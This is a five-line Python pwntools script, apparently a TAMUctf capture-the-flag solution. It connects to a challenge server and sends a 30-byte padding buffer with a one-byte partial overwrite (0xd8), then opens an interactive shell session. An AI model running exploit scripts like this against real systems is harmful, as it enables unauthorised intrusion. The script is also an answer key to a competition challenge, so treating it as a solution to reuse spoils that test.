from pwn import *
sh = remote("pwn.tamuctf.com", 4322)
pld = 'a' * +30 + p8(0xd8)
sh.sendline(pld)
sh.interactive()